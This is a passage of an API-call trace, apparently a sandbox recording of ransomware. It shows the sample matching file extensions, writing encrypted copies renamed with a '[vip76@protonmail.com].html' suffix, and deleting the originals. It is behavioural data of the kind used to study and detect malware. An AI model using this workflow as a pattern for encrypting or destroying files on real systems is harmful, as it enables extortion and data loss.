	[0065.951] lstrcmpiW (lpString1=".xlsx", lpString2="6.msi") returned -1
	[0065.951] lstrlenW (lpString=".ppt") returned 4
	[0065.951] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1
	[0065.951] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi") returned 44
	[0065.951] lstrlenW (lpString=".zip") returned 4
	[0065.951] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1
	[0065.951] lstrlenW (lpString=".rar") returned 4
	[0065.951] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1
	[0065.951] lstrlenW (lpString=".bz2") returned 4
	[0065.951] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1
	[0065.951] lstrlenW (lpString=".7z") returned 3
	[0065.951] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1
	[0065.951] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi") returned 44
	[0065.951] lstrlenW (lpString=".dbf") returned 4
	[0065.951] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1
	[0065.951] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi") returned 44
	[0065.951] lstrlenW (lpString=".1cd") returned 4
	[0065.951] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1
	[0065.951] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi") returned 44
	[0065.951] lstrlenW (lpString=".jpg") returned 4
	[0065.951] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1
	[0065.951] lstrcmpiW (lpString1=".exe", lpString2=".html") returned -1
	[0065.951] lstrlenW (lpString="Setup.exe") returned 9
	[0065.951] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Setup.exe" (normalized: "c:\\588bce7c90097ed212\\setup.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0065.952] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x2fdff14 | out: lpFileSize=0x2fdff14*=78152) returned 1
	[0065.952] CloseHandle (hObject=0x358) returned 1
	[0065.952] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Setup.exe" (normalized: "c:\\588bce7c90097ed212\\setup.exe")) returned 0x80
	[0065.952] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Setup.exe.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\588bce7c90097ed212\\setup.exe.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0065.952] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Setup.exe" (normalized: "c:\\588bce7c90097ed212\\setup.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0065.952] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1
	[0065.952] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1
	[0065.952] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Setup.exe.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\588bce7c90097ed212\\setup.exe.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8
	[0065.952] GetLastError () returned 0x0
	[0065.952] ReadFile (in: hFile=0x358, lpBuffer=0x3ac3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesRead=0x2fdfecc*=0x13148, lpOverlapped=0x0) returned 1
	[0065.956] WriteFile (in: hFile=0x2f8, lpBuffer=0x3ac3020*, nNumberOfBytesToWrite=0x13150, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesWritten=0x2fdfc94*=0x13150, lpOverlapped=0x0) returned 1
	[0065.958] ReadFile (in: hFile=0x358, lpBuffer=0x3ac3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesRead=0x2fdfecc*=0x0, lpOverlapped=0x0) returned 1
	[0065.958] WriteFile (in: hFile=0x2f8, lpBuffer=0x3ac3020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesWritten=0x2fdfc94*=0xe6, lpOverlapped=0x0) returned 1
	[0065.958] SetEndOfFile (hFile=0x2f8) returned 1
	[0065.958] CloseHandle (hObject=0x2f8) returned 1
	[0065.961] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1
	[0065.961] SetEndOfFile (hFile=0x358) returned 1
	[0065.962] CloseHandle (hObject=0x358) returned 1
	[0065.962] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Setup.exe.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x80) returned 1
	[0065.962] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Setup.exe" (normalized: "c:\\588bce7c90097ed212\\setup.exe")) returned 1
	[0065.963] lstrlenW (lpString="C:\\588bce7c90097ed212\\Setup.exe") returned 31
	[0065.963] lstrlenW (lpString="C:\\588bce7c90097ed212\\Setup.exe") returned 31
	[0065.963] lstrlenW (lpString=".doc") returned 4
	[0065.963] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1
	[0065.963] lstrlenW (lpString=".docx") returned 5
	[0065.963] lstrcmpiW (lpString1=".docx", lpString2="p.exe") returned -1
	[0065.963] lstrlenW (lpString=".pdf") returned 4
	[0065.963] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1
	[0065.963] lstrlenW (lpString=".xls") returned 4
	[0065.963] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1
	[0065.963] lstrlenW (lpString=".xlsx") returned 5
	[0065.963] lstrcmpiW (lpString1=".xlsx", lpString2="p.exe") returned -1
	[0065.963] lstrlenW (lpString=".ppt") returned 4
	[0065.963] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1
	[0065.963] lstrlenW (lpString="C:\\588bce7c90097ed212\\Setup.exe") returned 31
	[0065.963] lstrlenW (lpString=".zip") returned 4
	[0065.963] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1
	[0065.963] lstrlenW (lpString=".rar") returned 4
	[0065.963] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1
	[0065.963] lstrlenW (lpString=".bz2") returned 4
	[0065.963] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1
	[0065.963] lstrlenW (lpString=".7z") returned 3
	[0065.963] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1
	[0065.963] lstrlenW (lpString="C:\\588bce7c90097ed212\\Setup.exe") returned 31
	[0065.963] lstrlenW (lpString=".dbf") returned 4
	[0065.963] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1
	[0065.963] lstrlenW (lpString="C:\\588bce7c90097ed212\\Setup.exe") returned 31
	[0065.964] lstrlenW (lpString=".1cd") returned 4
	[0065.964] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1
	[0065.964] lstrlenW (lpString="C:\\588bce7c90097ed212\\Setup.exe") returned 31
	[0065.964] lstrlenW (lpString=".jpg") returned 4
	[0065.964] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1
	[0065.964] lstrlenW (lpString="C:\\588bce7c90097ed212\\Setup.exe") returned 31
	[0065.964] lstrlenW (lpString="C:\\588bce7c90097ed212\\Setup.exe") returned 31
	[0065.964] lstrlenW (lpString=".doc") returned 4
	[0065.964] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1
	[0065.964] lstrlenW (lpString=".docx") returned 5
	[0065.964] lstrcmpiW (lpString1=".docx", lpString2="p.exe") returned -1
	[0065.964] lstrlenW (lpString=".pdf") returned 4
	[0065.964] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1
	[0065.964] lstrlenW (lpString=".xls") returned 4
	[0065.964] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1
	[0065.964] lstrlenW (lpString=".xlsx") returned 5
	[0065.964] lstrcmpiW (lpString1=".xlsx", lpString2="p.exe") returned -1
	[0065.964] lstrlenW (lpString=".ppt") returned 4
	[0065.964] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1
	[0065.964] lstrlenW (lpString="C:\\588bce7c90097ed212\\Setup.exe") returned 31
	[0065.964] lstrlenW (lpString=".zip") returned 4
	[0065.964] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1
	[0065.964] lstrlenW (lpString=".rar") returned 4
	[0065.964] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1
	[0065.964] lstrlenW (lpString=".bz2") returned 4
	[0065.964] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1
	[0065.964] lstrlenW (lpString=".7z") returned 3
	[0065.964] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1
	[0065.964] lstrlenW (lpString="C:\\588bce7c90097ed212\\Setup.exe") returned 31
	[0065.964] lstrlenW (lpString=".dbf") returned 4
	[0065.965] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1
	[0065.965] lstrlenW (lpString="C:\\588bce7c90097ed212\\Setup.exe") returned 31
	[0065.965] lstrlenW (lpString=".1cd") returned 4
	[0065.965] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1
	[0065.965] lstrlenW (lpString="C:\\588bce7c90097ed212\\Setup.exe") returned 31
	[0065.965] lstrlenW (lpString=".jpg") returned 4
	[0065.965] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1
	[0065.965] lstrcmpiW (lpString1=".dll", lpString2=".html") returned -1
	[0065.965] lstrlenW (lpString="SetupEngine.dll") returned 15
	[0065.965] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\SetupEngine.dll" (normalized: "c:\\588bce7c90097ed212\\setupengine.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0065.965] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x2fdff14 | out: lpFileSize=0x2fdff14*=807256) returned 1
	[0065.965] CloseHandle (hObject=0x358) returned 1
	[0065.965] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\SetupEngine.dll" (normalized: "c:\\588bce7c90097ed212\\setupengine.dll")) returned 0x80
	[0065.965] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\SetupEngine.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\588bce7c90097ed212\\setupengine.dll.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0065.965] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\SetupEngine.dll" (normalized: "c:\\588bce7c90097ed212\\setupengine.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0065.966] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1
	[0065.966] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1
	[0065.966] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\SetupEngine.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\588bce7c90097ed212\\setupengine.dll.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8
	[0065.967] GetLastError () returned 0x0
	[0065.967] ReadFile (in: hFile=0x358, lpBuffer=0x3ac3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesRead=0x2fdfecc*=0xc5158, lpOverlapped=0x0) returned 1
	[0066.403] WriteFile (in: hFile=0x2f8, lpBuffer=0x3ac3020*, nNumberOfBytesToWrite=0xc5160, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesWritten=0x2fdfc94*=0xc5160, lpOverlapped=0x0) returned 1
	[0066.418] ReadFile (in: hFile=0x358, lpBuffer=0x3ac3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesRead=0x2fdfecc*=0x0, lpOverlapped=0x0) returned 1
	[0066.418] WriteFile (in: hFile=0x2f8, lpBuffer=0x3ac3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesWritten=0x2fdfc94*=0xf2, lpOverlapped=0x0) returned 1
	[0066.418] SetEndOfFile (hFile=0x2f8) returned 1
	[0066.418] CloseHandle (hObject=0x2f8) returned 1
	[0066.435] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1
	[0066.435] SetEndOfFile (hFile=0x358) returned 1
	[0067.193] CloseHandle (hObject=0x358) returned 1
	[0067.193] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\SetupEngine.dll.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x80) returned 1
	[0067.194] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\SetupEngine.dll" (normalized: "c:\\588bce7c90097ed212\\setupengine.dll")) returned 1
	[0067.194] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupEngine.dll") returned 37
	[0067.194] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupEngine.dll") returned 37
	[0067.194] lstrlenW (lpString=".doc") returned 4
	[0067.194] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0067.194] lstrlenW (lpString=".docx") returned 5
	[0067.194] lstrcmpiW (lpString1=".docx", lpString2="e.dll") returned -1
	[0067.194] lstrlenW (lpString=".pdf") returned 4
	[0067.194] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0067.194] lstrlenW (lpString=".xls") returned 4
	[0067.194] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0067.194] lstrlenW (lpString=".xlsx") returned 5
	[0067.194] lstrcmpiW (lpString1=".xlsx", lpString2="e.dll") returned -1
	[0067.194] lstrlenW (lpString=".ppt") returned 4
	[0067.194] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0067.194] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupEngine.dll") returned 37
	[0067.194] lstrlenW (lpString=".zip") returned 4
	[0067.194] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0067.194] lstrlenW (lpString=".rar") returned 4
	[0067.194] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0067.194] lstrlenW (lpString=".bz2") returned 4
	[0067.194] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0067.194] lstrlenW (lpString=".7z") returned 3
	[0067.195] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0067.195] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupEngine.dll") returned 37
	[0067.195] lstrlenW (lpString=".dbf") returned 4
	[0067.195] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0067.195] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupEngine.dll") returned 37
	[0067.195] lstrlenW (lpString=".1cd") returned 4
	[0067.195] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0067.195] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupEngine.dll") returned 37
	[0067.195] lstrlenW (lpString=".jpg") returned 4
	[0067.195] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0067.195] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupEngine.dll") returned 37
	[0067.195] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupEngine.dll") returned 37
	[0067.195] lstrlenW (lpString=".doc") returned 4
	[0067.195] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0067.195] lstrlenW (lpString=".docx") returned 5
	[0067.195] lstrcmpiW (lpString1=".docx", lpString2="e.dll") returned -1
	[0067.195] lstrlenW (lpString=".pdf") returned 4
	[0067.195] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0067.195] lstrlenW (lpString=".xls") returned 4
	[0067.195] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0067.195] lstrlenW (lpString=".xlsx") returned 5
	[0067.195] lstrcmpiW (lpString1=".xlsx", lpString2="e.dll") returned -1
	[0067.195] lstrlenW (lpString=".ppt") returned 4
	[0067.195] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0067.195] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupEngine.dll") returned 37
	[0067.195] lstrlenW (lpString=".zip") returned 4
	[0067.195] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0067.195] lstrlenW (lpString=".rar") returned 4
	[0067.195] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0067.195] lstrlenW (lpString=".bz2") returned 4
	[0067.195] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0067.195] lstrlenW (lpString=".7z") returned 3
	[0067.196] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0067.196] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupEngine.dll") returned 37
	[0067.196] lstrlenW (lpString=".dbf") returned 4
	[0067.196] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0067.196] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupEngine.dll") returned 37
	[0067.196] lstrlenW (lpString=".1cd") returned 4
	[0067.196] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0067.196] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupEngine.dll") returned 37
	[0067.196] lstrlenW (lpString=".jpg") returned 4
	[0067.196] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0067.196] lstrcmpiW (lpString1=".msu", lpString2=".html") returned 1
	[0067.196] lstrlenW (lpString="Windows6.0-KB956250-v6001-x86.msu") returned 33
	[0067.196] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.0-kb956250-v6001-x86.msu"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0067.196] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x2fdff14 | out: lpFileSize=0x2fdff14*=2192672) returned 1
	[0067.196] CloseHandle (hObject=0x358) returned 1
	[0067.196] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.0-kb956250-v6001-x86.msu")) returned 0x80
	[0067.196] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\588bce7c90097ed212\\windows6.0-kb956250-v6001-x86.msu.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0067.197] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.0-kb956250-v6001-x86.msu"), lpNewFileName="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\588bce7c90097ed212\\windows6.0-kb956250-v6001-x86.msu.id-b4197730.[vip76@protonmail.com].html")) returned 1
	[0067.197] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\588bce7c90097ed212\\windows6.0-kb956250-v6001-x86.msu.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0067.197] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfc64 | out: lpNewFilePointer=0x0) returned 1
	[0067.197] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfc24 | out: lpNewFilePointer=0x0) returned 1
	[0067.197] ReadFile (in: hFile=0x358, lpBuffer=0x3ac3058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2fdfc30, lpOverlapped=0x0 | out: lpBuffer=0x3ac3058*, lpNumberOfBytesRead=0x2fdfc30*=0x40000, lpOverlapped=0x0) returned 1
	[0067.202] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0xb270a, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfc24 | out: lpNewFilePointer=0x0) returned 1
	[0067.202] ReadFile (in: hFile=0x358, lpBuffer=0x3b03058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2fdfc30, lpOverlapped=0x0 | out: lpBuffer=0x3b03058*, lpNumberOfBytesRead=0x2fdfc30*=0x40000, lpOverlapped=0x0) returned 1
	[0067.205] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2fdfc64 | out: lpNewFilePointer=0xffffffff) returned 1
	[0067.205] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x1d7520, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfc24 | out: lpNewFilePointer=0x0) returned 1
	[0067.205] ReadFile (in: hFile=0x358, lpBuffer=0x3b43058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2fdfc30, lpOverlapped=0x0 | out: lpBuffer=0x3b43058*, lpNumberOfBytesRead=0x2fdfc30*=0x40000, lpOverlapped=0x0) returned 1
	[0067.228] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1
	[0067.228] WriteFile (in: hFile=0x358, lpBuffer=0x3ac3020*, nNumberOfBytesToWrite=0xc012e, lpNumberOfBytesWritten=0x2fdfca8, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesWritten=0x2fdfca8*=0xc012e, lpOverlapped=0x0) returned 1
	[0067.906] SetEndOfFile (hFile=0x358) returned 1
	[0067.906] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x40000) returned 0x439e640
	[0067.913] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfc74 | out: lpNewFilePointer=0x0) returned 1
	[0067.913] WriteFile (in: hFile=0x358, lpBuffer=0x439e640*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2fdfc80, lpOverlapped=0x0 | out: lpBuffer=0x439e640*, lpNumberOfBytesWritten=0x2fdfc80*=0x40000, lpOverlapped=0x0) returned 1
	[0067.915] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0xb270a, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfc74 | out: lpNewFilePointer=0x0) returned 1
	[0067.915] WriteFile (in: hFile=0x358, lpBuffer=0x439e640*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2fdfc80, lpOverlapped=0x0 | out: lpBuffer=0x439e640*, lpNumberOfBytesWritten=0x2fdfc80*=0x40000, lpOverlapped=0x0) returned 1
	[0067.917] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x1d7520, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfc74 | out: lpNewFilePointer=0x0) returned 1
	[0067.917] WriteFile (in: hFile=0x358, lpBuffer=0x439e640*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2fdfc80, lpOverlapped=0x0 | out: lpBuffer=0x439e640*, lpNumberOfBytesWritten=0x2fdfc80*=0x40000, lpOverlapped=0x0) returned 1
	[0067.919] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x439e640 | out: hHeap=0x4f0000) returned 1
	[0067.922] CloseHandle (hObject=0x358) returned 1
	[0069.221] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x80) returned 1
	[0069.221] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu") returned 55
	[0069.221] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu") returned 55
	[0069.221] lstrlenW (lpString=".doc") returned 4
	[0069.221] lstrcmpiW (lpString1=".doc", lpString2=".msu") returned -1
	[0069.221] lstrlenW (lpString=".docx") returned 5
	[0069.222] lstrcmpiW (lpString1=".docx", lpString2="6.msu") returned -1
	[0069.222] lstrlenW (lpString=".pdf") returned 4
	[0069.222] lstrcmpiW (lpString1=".pdf", lpString2=".msu") returned 1
	[0069.222] lstrlenW (lpString=".xls") returned 4
	[0069.222] lstrcmpiW (lpString1=".xls", lpString2=".msu") returned 1
	[0069.222] lstrlenW (lpString=".xlsx") returned 5
	[0069.222] lstrcmpiW (lpString1=".xlsx", lpString2="6.msu") returned -1
	[0069.222] lstrlenW (lpString=".ppt") returned 4
	[0069.222] lstrcmpiW (lpString1=".ppt", lpString2=".msu") returned 1
	[0069.222] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu") returned 55
	[0069.222] lstrlenW (lpString=".zip") returned 4
	[0069.222] lstrcmpiW (lpString1=".zip", lpString2=".msu") returned 1
	[0069.222] lstrlenW (lpString=".rar") returned 4
	[0069.222] lstrcmpiW (lpString1=".rar", lpString2=".msu") returned 1
	[0069.222] lstrlenW (lpString=".bz2") returned 4
	[0069.222] lstrcmpiW (lpString1=".bz2", lpString2=".msu") returned -1
	[0069.222] lstrlenW (lpString=".7z") returned 3
	[0069.222] lstrcmpiW (lpString1=".7z", lpString2="msu") returned -1
	[0069.222] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu") returned 55
	[0069.222] lstrlenW (lpString=".dbf") returned 4
	[0069.222] lstrcmpiW (lpString1=".dbf", lpString2=".msu") returned -1
	[0069.222] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu") returned 55
	[0069.222] lstrlenW (lpString=".1cd") returned 4
	[0069.222] lstrcmpiW (lpString1=".1cd", lpString2=".msu") returned -1
	[0069.222] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu") returned 55
	[0069.222] lstrlenW (lpString=".jpg") returned 4
	[0069.222] lstrcmpiW (lpString1=".jpg", lpString2=".msu") returned -1
	[0069.223] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu") returned 55
	[0069.223] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu") returned 55
	[0069.223] lstrlenW (lpString=".doc") returned 4
	[0069.223] lstrcmpiW (lpString1=".doc", lpString2=".msu") returned -1
	[0069.223] lstrlenW (lpString=".docx") returned 5
	[0069.223] lstrcmpiW (lpString1=".docx", lpString2="6.msu") returned -1
	[0069.223] lstrlenW (lpString=".pdf") returned 4
	[0069.223] lstrcmpiW (lpString1=".pdf", lpString2=".msu") returned 1
	[0069.223] lstrlenW (lpString=".xls") returned 4
	[0069.223] lstrcmpiW (lpString1=".xls", lpString2=".msu") returned 1
	[0069.223] lstrlenW (lpString=".xlsx") returned 5
	[0069.223] lstrcmpiW (lpString1=".xlsx", lpString2="6.msu") returned -1
	[0069.223] lstrlenW (lpString=".ppt") returned 4
	[0069.223] lstrcmpiW (lpString1=".ppt", lpString2=".msu") returned 1
	[0069.223] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu") returned 55
	[0069.223] lstrlenW (lpString=".zip") returned 4
	[0069.223] lstrcmpiW (lpString1=".zip", lpString2=".msu") returned 1
	[0069.223] lstrlenW (lpString=".rar") returned 4
